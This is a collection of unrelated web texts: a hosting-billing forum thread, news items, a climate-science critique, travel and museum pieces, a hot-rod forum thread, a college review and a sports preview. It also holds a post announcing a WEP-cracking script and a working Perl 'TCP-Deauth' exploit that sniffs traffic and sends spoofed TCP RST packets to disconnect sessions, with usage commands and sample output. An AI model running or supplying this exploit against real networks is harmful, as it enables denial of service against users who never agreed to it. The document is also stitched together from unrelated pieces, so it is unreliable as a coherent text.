I searched google for a solution regarding which one is best Hostbill or WHMCS when we use it with Onapp cloud software but was not able to find it anywhere. Everywhere it says both are good and both will work good.
I expect you guys can help me find a solution for this.
If you are not sure about WHMCS - you can visit their support forums and find out. Also check Onapp support forums (if exist). Maybe you will be able to find solution there?
I'm not able to find an answer there
Here is your answer ... OnAPP has a complete FAQ for WHMCS integration ... Read this: WHMCS FAQs | OnApp
These things I have gone through. Similar sort of things are there in the website regarding hostbill also.
Actually I'm looking for a feedback from someone who is using either WHMCS or Hostbill with Onapp.
OnAPP is a new technology emerging in the market for cloud hosting. You will rarely find audience using either combination of this technology.
I am using WHMCS since last 12 months ... and I am very happy with them. I believe that 70%+ market in hosting billing industry is covered by WHMCS.
So, If I was you, I should have tried WHMCS + OnAPP.
Just a side note: OnAPP licensing is a bit costly. They charge you per physical core on the server. A server with dual processor and 8 cores in each processor will have license cost of $160 / month for this server.
Thanks for your reply.
I know Onapp is costly but still it is a sound one.
And it will be bit difficult to get a feedback from one's using Onapp + WHMCS/Hostbill. Still I hope will be able to find someone.
WHMCS should work fine, because they are very active in development, and even OnApp provides a detailed faq about their WHMCS integration.
I am doing a demo with OnApp tomorrow. We use WHMCS and we like it.
We are waiting for your feedback after the demo.
It seems like a great piece of software but is a little to expensive. The gui is nice. I did hear about some bugs from some other forums. We have decided not to go with it based on price. For some of our servers it would be $160 a month which cuts to much into the profit.
+1 for WHMCS. Also, onApp has WHMCS integration.
If you want to do a good choice, what i suggest you is to look at the features, and try the demos... don't base your opinion only on what you see on forums!!
With Hostbill, there are no demos, but there is a section called "extras" on their website...
you can get a demo version for 14 days, of each of those solutions... try them!
Personaly, i tried both of them... Hostbill is nice because you have a lot of templates carts (many sliders, and nice dedicated server order form)...integration is easy, and you will get for sure a very beautifull website, and it won't look the same as the thousans web hosting companies who are using WHMCS (seems more profesionnal)
But : you will need to wait for about 24 and sometimes 72 hours before you can get an answer to one of your tickets... and there are still some bugs.... so you will need sometimes to get some support...
With WHMCS, you get a fast support, but your website will look like practically the same as tons of other small and medium web hosting companies.You will need to modify the templates to make it look like different...
Both of them have very good functionalities for On App.
Hi Guys,
We have setup Onapp and Hostbill and it is working well.
'Bonjour!' as you said the only prob is Hostbill guys will reply in 12 hours, still they are doing a great job.
...they won't respond within 12 hours... ...they respond within 24 to 48 hours, and sometimes more...
Honestly, i do much prefer the admin interface of Hostbill... ...it's easier to use, you can learn how to do everything very quickly.
...but, there are still a lot of bugs in Hostbill. You will need their help after praticaly each upgrade (and there are upgrades every months).
I recently switched to WHMCS, what i saw is they deliver the exact same functions... ...plus many other extras : resellers are able to unblock customers in csf firewalls, there are also tons of plugins created by community, and the documentation is complete... ...on the Hostbill side, they praticaly did not improved their documentation during the 2 years i was customer at their company, they always kept it very basic...
The chat addon of Hostbill is not working half of time. Some registrar modules still doesn't work even if Hostbill support created around 7-10 patches... impossible to register domains automaticaly, always have to perform registration manualy + the cron jobs scripts are messy...
Honestly, i would like to switch back to Hostbill... ...because of the admin interface.... ...but they do not test their new releases enough, and look like to think all their customers are beta testers... WHMCS is a bit hugly, but at least, you know it's been tested, it's working, and there is always someone who already created the module you need...
When it comes to OnApp integration HostBill is by far best pick - take a look at feature page for OnApp: HostBill | Complete Client Management, Support and Billing Software for WebHosts
Can you tell us why?
Cause it seems like Hostbill just cheated on WHMCS : the database structure is the same, they just copied over WHMCS, whitout providing any improvements on anything...
Also... i don't see why someone should pay to get the OnApp modules from Hostbill, when WHMCS deliver them for free!!!!!!
By switching to Hostbill, you do not get more functions, you just loose many functions (like monitoring, ip's management, etc...)
Cause as per the OnApp website, Integrations | OnAppOnApp integrates with WHMCS via a couple of dedicated modules. They give you flexible control of cloud services through WHMCS, and enable your clients to manage their cloud services. You can set up your own predefined products and pricing, or allow your clients to configure their own. Your clients can create and manage virtual machines through their WHMCS portal in the same way they would in OnApp, including VNC console access. Integration also takes care of billing.
Also... i don't see why someone should pay to get the OnApp modules from Hostbill, when WHMCS deliver them for free!!!!!!=
I dont think you've followed link I've sent you - HostBill integration with OnApp is not only for free but much more feature-rich than whmcs
WHMCS is probably the better option for you. It is a lot more versatile in function and definitely was the original in my opinion. HostBill is like a carbon copy without any better functionality.
WHMCS is a very powerful billing solution. I like to think of it as the WordPress of billing software.

UPDATE: BashWEP v2.0
I was fairly unhappy with the performance of the "WEP Buster" program in Backtrack 4, and although I am easily able to just type out the needed commands myself, I decided to write this script to automate the process. All you need to do is answer some questions at the beginning to set the variables and the rest is automatic. This script is pretty much idiot-proof, and it has never failed to crack a WEP access point for me. Although it is intended to be run in Backtrack 4, it will also run in Ubuntu if you have the aircrack-ng suite, drivers patched for injection, konsole, and macchanger installed.
UPDATE: This attachment is OLD (v1.2 I believe), the newest version is at the link above.
Attachment 631
I call it BashWEP :D
This is my first attempt at scripting, so the code may be a little crude, but I think I did a good job making it fairly sturdy. It evolved several times after testing it with my idiot friends. Any constructive comments or suggestions are appreciated.

Garrett tried to discredit Winter Soldiers with irrelevant facts
On September 14, FOX News Channel general assignment reporter Major Garrett [1] falsely suggested that the 1971 Winter Soldier Investigation has been discredited by errors in a 1970 book by Mark Lane [2] that relied in part on witnesses who later testified at the Winter Soldier Investigation. (The investigation formed the basis for Senator John Kerry's 1971 Senate testimony [3].)
In fact, though several individuals Lane interviewed for his book, Conversations With Americans: Testimony from 32 Vietnam Veterans [4], were exposed as frauds, none of those discredited witnesses testified at the February 1971 Winter Soldier Investigation.
On the September 14 edition of FOX News Channel's Special Report with Brit Hume [5], Garrett tried to use Lane's errors to discredit Kerry's April 1971 testimony [3] before the Senate Foreign Relations Committee:
GARRETT: Months after the Winter Soldier Investigation, Kerry told the Senate, U.S. war crimes in Vietnam were widespread and condoned at the highest levels of command, attributing that to Winter Soldier testimony.
But even before the Winter Soldier Investigation was convened, a journalist raised serious questions about claims of massive U.S. atrocities. Many Winter Soldier witnesses also appeared in a 1970 book called Conversations With Americans, which New York Times reporter Neil Sheehan found riddled with errors. The author, Mark Lane, a Winter Soldier organizer, told Sheehan he would not correct the mistakes.
In a review published a month before the Winter Soldier Investigation, Sheehan said, "This kind of reasoning amounts to a new McCarthyism, this time from the left. Any accusation, any innuendo, any rumor is repeated and published as truth."
In fact, while Sheehan's review [6] of Lane's book identified interviewees Greg Onan and Michael Schneider (aka Dieter von Kronenberger) as unreliable and also severely undermined the accounts of Terry Whitmore and Garry Gianninoto, none of these men testified during the investigation, according to Winter Soldier transcripts. [7]
As Media Matters for America previously explained [8], there is no credible evidence of a Winter Soldier Investigation witness being discredited (though one such witness, Steven J. Pitkin, has since claimed [9] that he lied in his own testimony).
Further, Lane's book does include interviews with Winter Soldier Investigation participants; in the same review Garrett cited, Sheehan wrote of Lane's book: "Some of the horror tales in this book are undoubtedly true." He added: "Anyone who spends much time in Vietnam sees acts that may constitute war crimes. One of the basic military tactics of the war, the air and artillery bombardments that have taken an untold number of civilian lives, is open to examination under the criteria established by the Nuremberg tribunal.

John Anthony Frusciante (born in New York on March 5th 1970) though probably best known for his time as guitarist of the Red Hot Chili Peppers, is a respected, acclaimed and prolific solo artist in his own right. Joining the Chili Peppers in 1988 after the death of Hillel Slovak, the band's original guitarist, Frusciante was featured on both Mother's Milk and Blood Sugar Sex Magik. However, John's rise was short lived. On May 7th, 1992, John quit the band just before the Chili Peppers were due on stage. Read more on Last.fm more

NEW YORK (AP) -- Police say a man accused of shooting and killing his girlfriend's mother in New York City's first homicide of the year has been apprehended in Ohio.
Police say 25-year-old Raymond Mayrant of Queens was captured on Jan. 11 in Warren, Ohio. He was brought back to New York and charged on Friday with second-degree murder, second-degree attempted murder and criminal possession of a weapon.
Police say Mayrant killed Elzina Brown on Jan. 3. Authorities say he also shot and injured his girlfriend, Brown's 22-year-old daughter.
Police in Maine allege Mayrant later stole a car from an unsuspecting father and daughter who apparently met him while asking for directions during a trip and gave him a ride to Maine.
Information on an attorney was not available.

Les Chevaliers de l'Ordre de la Terre Plate, Part II: Courtillot's Geomagnetic Excursion
This article continues the critique of writings on climate change by Allègre and Courtillot, started in Part I . If you would like to read either post in French, please click on the flag icon beside the post title above.
Prelude: It's the physics, stupid
…which of course is a paraphrase of Bill Clinton's famous quote regarding the economy. We put the last word in small letters since we've learned that it is not a good debating technique to imply (even inadvertently) that those who are having trouble seeing the force of our arguments might be stupid. What we wish to emphasize by this paraphrase is the simple fact that the expectation of a causal link between increasing long-lived greenhouse gases (like CO2) and increasing temperature does not rest on some vague, unexplained correlation between 20th century temperature and 20th century greenhouse gas concentration.
The anticipated increase in temperature was predicted long before it was detectable in the atmosphere, indeed long before it was known that atmospheric CO2 really was increasing; it was first predicted by Arrhenius in 1896 using extremely simple radiation balance ideas, and was reproduced using modern radiation physics by Manabe and co-workers in the 1960's. Neither of these predictions rests on general circulation models, which came in during subsequent decades and made more detailed forecasts possible.
Still, the basic prediction of warming is founded on very fundamental physical principles relating to infrared absorption by greenhouse gases, theory of blackbody radiation, and atmospheric moist thermodynamics. All these individual elements have been verified to high accuracy in laboratory experiments and field observations. For a time, there was some remaining uncertainty about whether water vapor feedback would amplify warming in the way hypothesized in the early energy balance models, but a decade or two of additional observational and theoretical work has shown that there is no real reason to doubt the way in which general circulation models calculate the feedback. When modified by inclusion of the cooling effect of anthropogenic aerosols, the theory gives a satisfactory account of the pattern of 20th and 21st century temperature change.
No other theory based on quantified physical principles has been able to do the same. If somebody comes along and has the bright idea that, say, global warming is caused by phlogiston raining down from the Moon, that does not make everything we know about thermodynamics, infrared absorption, energy balance, and temperature suddenly go away. Rather, it is the job of the phlogiston advocate to quantify the effects of phlogiston on energy balance, and incorporate them in a consistent way beside the existing climate forcings. Virtually all of the attempts to poke holes in the anthropogenic greenhouse theory lose sight of this simple and unassailable principle.

By Neal Thurman
Over the course of a week spent in London, I got to see what I think of as a pretty wide sampling of the English soccer experience. My wife and I saw three league matches at three dramatically different venues. In addition to attending an Arsenal match, we visited two other London-area stadiums and watched an Arsenal Champions League match in a pub. I also got to spend some time with the Editor of World Soccer Magazine for whom my blogging partner Jeremy and I had just finished writing our first print article.
For me, it was interesting to get a sense of the other fan experiences available in English soccer. And as before, I saw that the sports experience in England and America have many similarities and differences to what a fan might find in the US.
Craven Cottage
|Inside Fulham's Craven Cottage
It was Easter Sunday and the entire experience seemed like something straight out of 1950s Ivy League lore. We again took the Tube, and from the station had a pleasant albeit longer walk through a quaint upper-middle class neighborhood.
The stadium was definitely "old school" and hadn't been updated in many years. The "concourse" we took to get to our seats was outdoors and provided a beautiful view of the neighboring River Thames that any metropolitan jogging trail would be proud of.
There were more than a few supporters dressed in suits and ties presumably having come straight from Easter services. A small selection of merchandise was being sold out of a small structure along the river (I know from a previous trip that Fulham's main team store is a number of blocks away from the stadium). During the match, the crowd was subdued and polite, even as the home team prevailed 2-1 over Wigan.
American Equivalent: In my imagination this would mirror a University of Pennsylvania Ivy League clash in the 50s or 60s but the closest I've been to in person by way of comparison was at Northwestern vs. Miami, Ohio in Chicago.
Selhurst Park
One of our goals (OK, my goals) in seeing three matches in three days was to have a wide variety of experiences over the course of our trip. In choosing Crystal Palace and Selhurst Park, I was aiming to have an experience outside of the Premier League and outside of central London.
And what a difference it was! The atmosphere itself was incredibly different. After taking the Tube from our hotel to the train station, we then had to take a substantial train ride to get to South Norwood.
|The author's view at Selhurst Park
But once we arrived it was almost like a carnival atmosphere outside the stadium. There was loud music and activities for kids in the area around the stadium. There was a buzz that just wasn't present at either Premier League encounter. Sort of like this was THE big event in this neighborhood this week, and it was in a way that blasé Londoners have probably long since left behind.
The stadium was pretty large but like Craven Cottage it was definitely "old school" rather than being a modern experience. We were able to buy tickets over the internet from the club for a quite reasonable price. We sat in the fifth row just about at midfield, but we ended up being lucky that it didn't rain. It turned out that the reason the seats were available despite their proximity to the action, was likely because they weren't covered from the elements.
One major difference between all three English stadiums I visited and venues in the USA is that there they have extended roofs that cover a large majority of the seats from the rain or snow. There was no meaningful rain for any of my three matches but we've all seen enough on TV to know that this is a pretty big deal.
The crowd was the most lively that we encountered of the three, with singing, chanting, and tons of energy for nearly the entire match. I have a bit of a soccer crush on Darren Ambrose so it was cool to be so close to the action when he scored. The result was a home win that helped Palace avoid relegation despite losing nine points in the standings as a penalty for going into administration.
American Equivalent: A well-supported high school football team in the Southeast of the US (but not quite 'Friday Night Lights' in Texas intense).
Champions League in a Pub
I'm fortunate enough to have spent most of my adult life in a city (Washington, DC) that boasts a number of high quality soccer bars so I was really interested to see how the English pub experience was on a big Champions League night.
After a day of touring around the countryside we walked down the street from our hotel to watch the Arsenal-Barcelona game at the first decent-looking pub we saw. For those familiar with London, this pub was just off The Strand and didn't particularly look like a sports bar. But it did have a few large TVs and that was good enough for me.
And apparently it was good enough for a lot of people. The pub was filled to near capacity and buzzing like a true American soccer bar does on a big match night. Still, it's hard to compare the two because it would have been hard NOT to be buzzing after the performance Lionel Messi put on despite the disappointing result.
American Equivalent: Just about any bar in the US with a good sized TV during the NFL playoffs
Meeting with a soccer journalist
Along with my blogging partner Jeremy, I had the opportunity to write a fantasy World Cup preview for World Soccer Magazine's Unofficial World Cup Guide edition. And because the first printed copies coincided with my trip to London, the magazine's editor invited me to his office to meet in person and pick up a few copies for friends and family.
The only time it would work with our respective schedules was almost immediately after my wife and I arrived in London. I can't say I was at my best after a mostly-sleepless redeye flight into Heathrow, but the entire experience was pretty wild.
It was pretty amazing to talk with the World Soccer editor. He not only was a great resource for understanding more about the soccer media, he was also a source of a bunch of great stories about the game and English soccer culture. We discussed the differences between the US and England in terms of what type of content the average consumer likes – US sports writing is MUCH more analytical – and some theories as to why the US is so much more into fantasy sports than their English counterparts (think legalized gambling).
American Equivalent: I also had the opportunity to meet Jayson Stark, a senior baseball analyst at ESPN, at a Spring Training game. I found them both to be equally eloquent about their sport as well as equally generous with their advice for an aspiring sports writer.
The final thought I'll leave you with is the second major myth that I had busted while I was in England: the soccer hooligan. While I'm sure it still exists in isolated cases, I'd list all three matches that I saw in England among the top family-friendly sports experiences I've ever had. I don't think I heard a supporter swear at high volume, there was no verbal abuse of away supporters or of the officials.
In the end, I definitely felt that the trip had given me a much deeper connection with both Arsenal and the English game. It was an experience that I would recommend to any soccer fan – unless, of course, you don't like crowds.

Sir David Attenborough, in Melbourne for a speaking tour, visited Melbourne Museum unannounced last Wednesday with his daughter. Although he's best known for his natural history work, Sir David is fascinated by anthropology. He has collected Australian Aboriginal shields for many years, including rainforest shields from Queensland, and was keen to see local examples from the MV Indigenous Cultures Collection.
The seemingly unfortunate timing of his visit – Bunjilaka's permanent exhibitions are temporarily closed for redevelopment – actually turned out to be very good timing. Sir David mentioned to Kim Kaal in customer service that he had hoped to see Aboriginal shields on display. Quick-thinking Kim grabbed Bunjilaka's John Patten as he was walking past. Within a few minutes, John and colleague Kimberly Moulton arranged a tour of the collection store where the Bunjilaka Redevelopment Team has been working on the object-rich Many Nations section of the new exhibition, First Peoples.

Sir David spent almost an hour talking with curators and collection staff about the objects selected for the exhibition. Rosemary Wrench, the curator of Many Nations, says that he was fascinated by the objects and asked detailed questions about their provenance, designs, creation and use. He was especially pleased to hear that First Peoples will have such a strong focus on the people and cultures of south-eastern Australia. His considerable knowledge about artefacts was apparent, but he was still wonderfully surprised by unfamiliar items, such as possum jaws used to engrave designs into tools and objects.

Sir David's favourite object was an etched shield from New South Wales. He examined it for some time and said, "That is magnificent, and worth a trip all the way to Australia just to see this." He was also particularly interested in a Victorian spear thrower and its ornate designs; he studied it very closely and described it as "remarkable and intriguing." He was very glad to hear that these and other treasures will be on display in First Peoples.

I'm a 26 year old female. I need someone to help show me the ropes around southern NH or offer any advice you can. I'm down in Rockingham County. I hunt with a Winchester 1300. Any information would be appreciated as to other people that could help, places to meet other hunters, and land to hunt on. Thanks in advance for your time.

People need to be taught to do it right and that requires actually meeting with these people and showing them the ropes.

Before you make a decision about working at this college consider the following. First, there is the insurance scam. You will be advised that an insurance policy is necessary for you to obtain your work permit. This will cost you about 2000 RMB. Naturally, it's all in Chinese, you can't understand it, and it is worthless. Check with other schools in China, it's unnecessary. It is simply a way to line their own pockets at your expense. Then there is the apartment scam. You will be dumped off in a dirty apartment without towels, sheets, or anything else useful for that matter. The foreign office representative then quickly disappears before you start asking questions. The reason that the apartment is virtually stripped is that the foreign office staff, L. and G., steals everything of use after the previous teacher leaves. You won't even find a cup, glass, dishes or a spoon. It will cost you approximately one months salary to get what you need, 4000 RMB. When you leave, the foreign office, will steal everything that you leave all over again. It's a nice little scam bonus they have going, and is indicative of the colleges attitude toward their guests. The apartments are old, leak, are consequently moldy, and are cold as h*** in winter. The water is frequently off, the electricity disappears at odd times, and in general you are always wondering what next. None of the faculty and staff live on campus, so they could care less about your problems, it doesn't affect them. Naturally, they lose all of their teachers every year, and some leave after one semester. Their work is then added to yours without any additional salary.
You will be sharing the building with international students who are noisy, unruly, and inconsiderate in the extreme. They are packed, four to an apartment, and it is never quiet and it is often impossible to get to sleep at night at a reasonable hour.
Many students are admitted without finishing high school and whole classes of underachievers are admitted regardless of suitability for study. In other words, if you can't go anywhere else you end up here. Students also pay handsomely for the privilege, more than if they attended a first rate university. Their attitude reflects this, and they are well aware that the college is a ripoff. Classes are large, and can be unruly as a result as most of them simply lack even a shred of motivation. Further, they are encouraged to complain about you, by the useless faculty, if anything makes them "unhappy". This gets to be ridiculous, as 95% of them don't understand 95% of what you say. It makes for a demeaning environment when you are constantly gossiped about behind your back.
There is also a dangerous element to working here. The lazy and incompetent foreign office assistant, G., thinks that you should only need help between 8 and 4:30 Monday through Friday. If there is any kind of emergency, after work or on the weekend, neither he nor his boss, L., will answer their phones. You simply don't matter to them, nor to anyone else at the college. You are on your own.
Thanks to an old Maoist dinosaur, the Party boss who runs the place, it is a very racist environment toward all foreigners no matter where you are from. They could care less if you leave, and actually plan for it. This is arguably the worst place to work in the province, so you will often have colorful colleagues. I think everyone knows what I mean by colorful. Finally, Qingdao is a great location, but the college is well out of the city. You should only consider working here as an act of desperation. There will be a tendency by some to think it can't possibly be that bad at QHMC. They would be right, it's worse.

|Topic Review (Newest First)
|It will run fine with aluminum heads and 10.2 compression, provided it is tuned really well and that you're running those 4.10s.
yes that is how you would do it, listed below i have found the DCR calculator that has helped me out the most.
|High School Hot Rod
|Thumpin455 you didnt read my last post. But can anyone tell me if I calculated the DCR correctly. I just used that cam as an example. I'm looking for heads and my budget only allows good iron heads a bottom of the line aluminum heads. If i know i can get my DCR low enough i would go for some irons. Thanks
You want to keep the 3.42 gears and you dont want to lighten it from the almost 4000lbs, but you want to run 7s?
The fastest way to do that is with a relatively mild 455 Pontiac. Seriously. A small chevy isnt going to do it, there just isnt enough torque there. Maybe with a huge shot of nitrous and lots of stall, but it will be an overheating pig on the street. The only small chevy that would do it is one of the LS engines, the gen 1 isnt going to make it happen on your budget.
A 454 built right would do it, but it needs to be cammed for idle to 6500 with an emphasis on the low and midrange. You have lots more weight with the BBC, so you need to make more power to run the same time.
Gut the car, lighten the hell out of it, get it down to 3100 to 3300 and then you will have a much easier time getting into the 7s.
|High School Hot Rod
|I'm going to order up 4.10's from summit. That is as high as I'm willing to go. I'll keep the short stickys for the track and 28's for the road. I'm looking for a th350 or 400 trans, shifter, and a 3500 stall. I've done some more playing around with a dynamic CR calculator. With a .040 overbore, 72cc heads, slugs .026 in the hole, and a gasket .015 thick w/ 4.100 bore my static compression is about 10.2. Now calculating... (more like a total estimation imho) the intake closing ABDC seems to be controversial. I did not add the 15 degrees or so that is often suggested. Assuming I use the 248/252 cam Fbird88 suggested my math looked something like this. The advertised intake duration is 276, you divide this number by 2, 276/2 = 138. Take 138 and add the LSA to it, 138+106 = 244. Take 244 and subtract the sum of 180 and the ground in cam advance. I believe this cam is ground straight up so. 244 - (180 + 0)= 64. So my intake valve would close 64 deg ABDC. Plug this in to a calculator at the lowest altitude the car will see at 2800ft, and presto i get a DCR of 7.68. Did I do this right? With a quench of .041 and aluminum heads woud it run just fine on 91?
Don't be so caught up in throwing money at the engine, the rest of your drivetrain means a hell of a lot. You could probably hit 7's with all factory parts except for a mild cam and headers when it came to your engine.
There are a lot of slow 500hp cars out there because they didn't set the drivetrain up to match the engine.
|running 4.56 gear with a 26" tire in an 1/8 mile crossing the traps at around 93mph your rpm will be around 5400rpm, to drive it on the street at 60mph your rpm will be around 3500, if you were to run a 28" tire, then you would be crossing the line around 5200 rpm.. hope this give you an idea as to what kind of rpm you may running.. crossing the traps or finish line at 93mph on average will get you about 7.60-7.70 ET in an 1/8. reason as i pick 93mph is because most of the guys that ive raced with running sportsman class run a 7.50 or slower time to be that class, so i know by looking at the time sheets, that around 93 is a good average + or - a few mph.... you can adjust with tire size a bit by going up to help calm the rpms down on the street, but you sacrifice the drag strip a bit, You should really determan what percentage you plan on driving on the street vs the drag strip and set up gearing and tire size to the bigger percentage or more what the car will be mostly driven.. As for weight of your camaro, i guessing the car itself weighs more like around 3300lbs or so
Hey man im in high school too and im also trying to build a fast car on a small budget(1979 Firebird) just like yours. From what i've learned, some basic things that cost almost no money can make your car faster. One thing I did was that I changed the rear differantial fluid. I found out it hasnt been changed ever, and when i pulled off the differential cover, i noticed that it was all thick and sludgish. Once I put some Royal Purple 80w90 in it, it ran like a dream and instantly got a feeling of more power. Something else i found out was that the calipers were all pushing against the rotors, which obviously causes friction. Also, those gears will not work, as F-Bird 88 suggested your gunna need higher gears, but i feel 3.73-4.10 would be good. Also, ive found ALOT of parts on Craigslist. I even saw a set of Vortec heads brand new for only $300. Just my 2 cents good luck and i look forward to seeing how it goes. TRUST me on one thing, weight makes a HUGE difference! Cut as much out as possible. If you wanna take it 100% just gut the interior and pick up an aluminum bucket seat ($120ish). Obviously exhaust and headers or no exhaust system at all!
Ive found this as well!
|Go with the 72 cc heads, and you can get away with around 8.5:1 DCR. My old set up was about 8.7:1 DCR and I was able to run it on 93 octane
|High School Hot Rod
|I agree with fbird88 that i do need more gear. summit sells a 3.90's for my 8.5 and i think that would be about ideal for me, but 4.10's sound tempting. My goal for my car is to eventually to be a nice prostreeter street/strip ride. I do have acces to race gas but i really dont want to go that route. 91 at highest. I've been playing around with a dynamic CR calculator and the cam would have to be way radical to get a dynamic CR around 8:1 which to my understanding is pump gas worthy. But I could use some help deciding whether I should use a thicker head gasket and sacrifice quench distance, or use 72cc heads and give up quench area. But 91 is a definite must.
i understand why Fbird is telling you 4.56's (not that i agree), the 4.56's will utilize more of your motor while running down the track, but for your case i think they may be a bit much. i could be wrong but i dont take this as you want to have a more strip style car but would like a street car that will be raced at the track from time to time.
when i say that the shorter gears will utilize more of you motor i mean that one of the main ideas of drag racing is to use every bit of motor that you can. so you want you car to be running through the traps in it's final gear at it's max rpm ei if you shift at 6500rpm then you want to running through the traps at 6500rpm. using this idea since seem only interested in the 1/8mi then the shorter the gear the better. but when you want to drive this vehicle on the street and not be running 3500+rpm at 60-65mph then you have to find a happy medium.
i used 1.6 rockers on the intake and 1.5 rockers on the exhaust side to help even out the dual pattern cam, my heads were DART 200cc platinum's with decent cleaning up done. the motor pulled past 6000rpm but my peak hp (512) was made right at 5900rpm.
i never said that it was impossible to run 10.8:1 on pump gas, but as you mentioned, a lot goes into making it run on pump gas. my previous set up was 10.4:1 and could run on 93 pump gas. my current set up has 11.2:1 and does not like pump gas.
|You'll need a clutch and trans that can handle the power... easier said than done. Maybe consider changing the trans to a well built 700r4 and tuning up the engine first. Even with the gears you have the trans and stall can make a huge impact.
|Your duplicate threads have been moved into this forum and merged. Please don't double post.
|High School Hot Rod
Alright well to clear the air the the car currently has a manual three speed transmission. The weight of the car was also a rough estimate, I am a bigger guy at 6'3 230. And I'm not looking to get deep into the 7's just want to get into the 7's. I know I'm wanting to have my cake and eat it too. I'm will to strip the car for weight loss to some degree. I dont need big stereo, back seat, front fender wells. I don't know how how much that will save me but it might be worth a try. I can do 4.10's anything higher is just not going work for what i want. If this is a factor that puts me in the low 8's so be it. I like my car and like to drive it and dont plan to replace it with something lighter.
I took it to the track once but only had an open 3.08 differential at the time with some crappy street tires. With one tire a fire for half way down the track my best et was a 9.1. The next day race a nice old man let me race his 71 chevelle that ran consistent 7.70's. After that i was hooked enough said.

Hi. I write this small Perl script during my researh on the TCP/IP protocol. It disconnect a host from a server, all is in the usage.
use Net::RawIP;
print "[TCP-Deauth v0.4] Exploit by azert0x\n"."=" x 36 ."\n"; ($eth, $cip, $sip, $sport) = @ARGV;
die "Usage: ./$0 [interface] [client ip] [server ip] [server port]\n" if @ARGV < 3;
$n = Net::RawIP->new; print "Waiting for specified network traffic...\n";
$p = $n->pcapinit($eth, "tcp and src host $sip and dst host $cip and dst port $sport", 1500, 30);
loop($p, 1, \&tcprst, 0); print "> TCP-Deauth Exploit Done :)\n";
sub tcprst {
$n->bset(substr $_[2], 14); my ($cport, $ack_seq, $seq) = $n->get({tcp => [qw(source ack_seq seq)]});
$n->set({ip => {saddr => $cip, daddr => $sip}, tcp => {source => $cport, dest => $sport, ack_seq => $ack_seq, seq => $seq, rst => 1}});
print "Sending Spoofed RST to $sip:$sport with Acknum $ack_seq and Seqnum $seq\n"; $n->send;
$n->set({ip => {saddr => $sip, daddr => $cip}, tcp => {source => $sport, dest => $cport, ack_seq => $ack_seq, seq => $seq, rst => 1}});
print "Sending Spoofed RST to $cip:$cport with Acknum $ack_seq and Seqnum $seq\n"; $n->send;
# azert0x first sploit.
# Thanks to Perl Underground!
On BackTrack4 the CPAN Perl module Net::RawIP do a segfault, so:
$ sudo perl -MCPAN -e "install Net::RawIP"
and after compilation and (re)installation it works great. Then, run the script as it and you'll see the usage.
$ sudo perl deauth.pl
My script spy the specified client and server network traffic, get the values of ack_seq & seq flags and send to the server, with them, a network packet with the RST flags activate (this RST packet masquerade as the client). If the connection is in ETABLISHED state, my script re-send another RST packet to the client (this RST packet masquerade as the server).
You must obviously be able to sniff the traffic between the targets for my tool works (you should have understood from reading above).
It works in various network environments, not only in localhost!
But if you work in localhost (127.0.0.1), specify "lo" as network interface.
For example: i've a localhost SSH server and i'm connected to it. I run my Perl script, it waits for network traffic. When i press a key on my SSH shell, i'm disconnected.
azert0x@bt4:~$ sudo perl deauth.pl lo 127.0.0.1 127.0.0.1 22
[TCP-Deauth v0.4] Exploit by azert0x
Waiting for specified network traffic...
Sending Spoofed RST to 127.0.0.1:22 with Acknum -131693645 and Seqnum -123819417...
Sending Spoofed RST to 127.0.0.1:60295 with Acknum -131693645 and Seqnum -123819417...
> TCP-Deauth Exploit Done :)
I'll update it soon, so please, if you have any problems, bugs or ideas about it, tell them to me. Then gladly i'll work on improvement.

Green Bay Plays at Top-Seeded Valpo in League Semis
By: Andrew Gavin (@GBGavin)
GREEN BAY, Wis. (GreenBayPhoenix.com) - Less than 24 hours after a thrilling 64-63 victory over UIC in the Horizon League Championship quarterfinals, Green Bay returns to the court at the Athletics and Recreation Center on Saturday night to play the top-seeded and host Valparaiso at 7:30 p.m. The Phoenix will be looking to advance to the championship game for the first time 1998.
Green Bay led throughout most of the second half on Friday night, but the Flames rallied and took a late lead on a pair of free throws with seven seconds left. Sophomore Keifer Sykes (Chicago, Ill.) drove the ball into the paint and kicked to junior Sultan Muhammad (Grand Rapids, Mich.), who buried the game-winning three from the right wing with 1.3 seconds remaining.
The Phoenix has dropped both games against the Crusaders this season, including a 75-56 result at the Resch Center a week ago in the regular season finale.
TICKET INFORMATION: Tickets can be purchased for Saturday night by visiting ValpoAthletics.com, calling 219-464-5233 or by visiting the Valparaiso University Ticket Office, located in the main lobby of the ARC (extended hours of 10 a.m.-7 p.m. this week).
FOLLOW THE PHOENIX: Fans not making the trip to Valparaiso on Saturday night will be able to watch the game live on ESPNU. Jim Barbar will be on the call as the play-by-play analyst alongside analyst Malcolm Huckaby.
On the radio, the play-by-play voice of the Phoenix Matt Menzl will be on the call alongside Andrew Gavin on WDUZ The Fan 1400 AM or thefan1075.com. Live stats will be available on ValpoAthletics.com. You can also stay up-to-date by following @GBPhoenixMBB and @GBGavin on Twitter.
1. TOURNAMENT TIME: Green Bay's two wins in the tournament have improved the program to 16-17 overall in the Horizon League Championship. The Phoenix won the title in 1995 and last advanced to the championship game in 1998. Green Bay last won two games in the league tournament in 2007 and has not won three games since winning the title in 1995.
2. LONG RANGE: Three-point shooting has not been the focus of the Phoenix offense this season, but the team was been effective from long range in Horizon League play, ranking third in the conference. Junior Alec Brown (Winona, Minn.) shot 44.4 percent from beyond the arc and has carried that into the tournament with a 5-for-11 effort in two games. On Friday night, Green Bay made 8-of-18 three-pointers, just one shy of its season high and more than it had in any league game.
3. COMPETE, DEFEND, REBOUND: Wardle has stressed this phrase and this emphasis since he was hired prior to the 2010-11 season, and it highlights the team's strengths in 2012-13. Green Bay led the Horizon League in field goal percentage defense, blocked shots and rebounding margin in conference play. In its opening round win over Milwaukee, all three of those stats were on display as the Panthers shot just 26.5 percent, had eight shots blocked and were outrebounded by 12. It was the fifth time this season a Phoenix opponent failed to reach 50 points, the most since 2000-01. Green Bay is 14-0 this season when holding teams below 60 points.
• THE SEASON SERIES: Green Bay led the Horizon League in field goal percentage defense but could not slow down the Crusader offense as Valpo shot 50.5 percent from the field in the two wins. Matt Kenney averaged 15.5 points in the two contests to lead Valpo. Junior Alec Brown (Winona, Minn.) averaged 16.5 points per game in the two games. Green Bay held a slight rebounding edge in the games, including grabbing 20 offensive boards.
• LAUDED ALL-LEAGUE: Sykes, Brown and freshman Jordan Fouse (Racine, Wis.) were all honored by the Horizon League on Monday with postseason accolades. Sykes, who ranks in the top-5 in the conference in points and assists, was named to the first team while Brown was a second-team selection after averaging 15.6 points in league play. Fouse was the runner-up for Newcomer of the Year and named to the All-Newcomer team.
